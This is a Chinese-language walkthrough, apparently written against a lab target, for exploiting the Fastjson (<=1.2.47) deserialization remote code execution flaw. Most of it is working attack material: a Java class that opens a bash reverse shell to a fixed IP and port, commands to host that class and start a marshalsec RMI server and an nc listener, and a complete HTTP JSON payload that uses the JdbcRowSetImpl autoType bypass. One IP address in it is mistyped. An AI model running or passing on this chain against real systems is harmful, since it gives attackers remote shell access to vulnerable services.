1、漏洞详情
Fastjson 存在反序列化远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。
2、影响版本
fastjson <= 1.2.47
漏洞利用
1、编写一个反弹shell脚本Exploit.java,并编译生成Exploit.class。
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.118.1/8002 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
通过python命令放到外网环境中,默认监听端口8000。
Python2 :python2 -m SimpleHTTPServer 8000
Python3 :python3 -m http.server 8000
3.借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.138.118.1:8000/#Exploit” 9999
4、接着开启nc监听端口8002:nc -lvvp 8002
5、通过BurpSuite抓包
变更请求方式,构造payload,向靶场发送Payload:
POST / HTTP/1.1
Host: 靶机ip:8090
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 267
{
“a”:{
“@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://攻击机ip:9999/Exploit”,
“autoCommit”:true
}
}
6、反弹shell
可以看到RMI服务器那边,远程执行成功
再看BurpSuite响应包也返回了
看一下nc,成功反弹shell
PS:注意一下端口。哪个端口是干什么的要清楚。